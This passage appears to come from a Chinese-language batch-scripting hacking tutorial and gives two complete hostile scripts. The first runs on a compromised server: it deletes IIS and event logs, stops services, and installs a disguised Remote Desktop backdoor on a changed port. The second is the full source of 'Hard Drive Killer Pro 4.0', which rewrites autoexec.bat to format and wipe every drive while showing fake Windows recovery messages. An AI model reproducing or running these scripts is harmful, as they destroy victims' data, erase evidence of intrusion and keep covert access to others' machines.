@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>
patch.dll
@echo \SMBDeviceEnabled\=dword:00000000 >>patch.dll
@REM [禁止及文件訪問和打印共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>p
atch.dll
@echo \Start\=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dl
l
@echo \Start\=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
>>patch.dll
@echo \ShutdownWithoutLogon\=\0\ >>patch.dll
@REM [禁止登錄前關機]
@echo \DontDisplayLastUserName\=\1\ >>patch.dll
@REM [禁止顯示前一個登錄用戶名稱]
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------
------------
下面命令是清除肉雞所有日志,禁止一些危險的服務,並修改肉雞的terminnal service留
跳後路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [刪除日志]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危險的服務。]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinSt
ations\RDP-Tcp] >>patch.dll
@echo \PortNumber\=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\r
dpwd\Tds\tcp >>patch.dll
@echo \PortNumber\=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo \Start\=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch
..dll
@echo \Start\=dword:00000002 >>patch.dll
@echo \ErrorControl\=dword:00000001 >>patch.dll
@echo \ImagePath\=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6
f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65
,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00
>>patch.dll
@echo \ObjectName\=\LocalSystem\ >>patch.dll
@echo \Type\=dword:00000010 >>patch.dll
@echo \Description\=\Keep record of the program and windows message。\ >>patch.d
ll
@echo \DisplayName\=\Microsoft EventLog\ >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch
..dll
@echo \Start\=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389連接,端口為8210(十六進制為00002012),名稱為Microsoft EventLog,留
條後路]
3.Hard Drive Killer Pro Version 4.0(玩批處理到這個水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------
------------
@echo off
rem This program is dedecated to a very special person that does not want to be
named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about
how it
rem works, its d\*amn to complicated for the average or even the expert batch pr
ogrammer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find \Vol\ > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find \bytes\ > nul >{
t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - no
t ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find \ 0 bytes free\ > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. \enddc\ stands for \end dDRIVE cHECKING\
..
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your sys
tem . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\au
toexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your sys
tem . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.b
at
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your sys
tem . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your sys
tem . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\au
toexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your sys
tem . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.b
at
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your sys
tem . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer
version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this
program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted.
>>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I
did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad y
our HD is dead. >>c:\autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Part
y.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in (\if not exist %%2\nul md %%2\ \if exist %%2\nul cd %%2\) do %
%%%a >>c:\temp.bat
echo for %%%%a in (\>ass_hole.txt\) do echo %%%%a Your Gone @$$hole!!!! >>c:\tem
p.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%
%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%
%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file creat
ed above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius
..
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians
(help me get out of here).
No.7
七、致謝&一些廢話
謹以此文獻給所有為實現網絡的自由與共享而努力的朋友們。感謝所有共享他們作品的朋友
們,讓我們為我們的理想一起努力!!
本人只提供此教程和有限技術支持,若因此教程而導致相關人員、團體的利益受到侵害,本
人拒絕承擔任何法律責任,一切責任由相關當事人承擔。
本教程不保留任何版權,您可以自由修改傳播,但是當您增加某些內容時,請發一份給我,讓我
也一起分享您的成果.但是未經本人同意不得將本教程用于商業活動,若您一定要,請確保所
得利益的85%用于公益事業(請聯系本人並出示相關出示憑証),否則本人保留起訴並追究
當事人相關法律責任的權利.如需轉載請保留以下信息,謝謝!
訂閱:
文章 (Atom)